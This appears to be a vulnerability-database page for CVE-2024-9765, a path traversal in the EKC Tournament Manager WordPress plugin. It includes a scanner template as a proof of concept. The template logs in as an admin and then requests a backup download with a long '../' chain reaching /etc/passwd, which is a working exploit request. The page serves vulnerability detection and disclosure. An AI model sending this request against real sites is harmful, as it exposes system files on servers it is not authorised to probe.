CVE-2024-9765: EKC Tournament Manager WordPress plugin - Path Traversal

Description

EKC Tournament Manager WordPress plugin < 2.2.2 contains a path traversal caused by insufficient validation, letting logged in admin users download system files outside the WordPress directory.

Details

CVE
CVE-2024-9765 · CVE.org
Severity
中危
Affected
EKC Tournament Manager WordPress plugin
Published
PoC
Public

PoC

id: CVE-2024-9765

info:
  name: EKC Tournament Manager WordPress plugin - Path Traversal
  author: Sourabh-Sahu
  severity: medium
  description: |
    EKC Tournament Manager WordPress plugin < 2.2.2 contains a path traversal caused by insufficient validation, letting logged in admin users download system files outside the WordPress directory.
  impact: |
    Logged in admin users can download arbitrary system files, potentially exposing sensitive information.
  remediation: |
    Upgrade to version 2.2.2 or later.
  reference:
    - https://wpscan.com/vulnerability/c86157b0-43f3-4e82-9697-7dd9401b48d6/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2024-9765
    cwe-id: NVD-CWE-noinfo
    epss-score: 0.01638
    epss-percentile: 0.76751
    cpe: cpe:2.3:a:lukashuser:ekc_tournament_manager:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: lukashuser
    product: ekc_tournament_manager
  tags: cve,cve2024,lukashuser,ekc-tournament-manager,authenticated,lfi,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=ekc-backup&action=download&backup=../../../../../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - regex('root:.*:0:0:', body)
        condition: and
# digest: 4a0a00473045022100f3c09cad81e79c8402ccbbac4f04ae39fbd6d17099cfde1146b1d9e209602e610220683cdf11d83a81223b8ef446b407a955ebec5131a97f0d2d6d43e8771eef1c38:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities

微信搜一搜 biu.life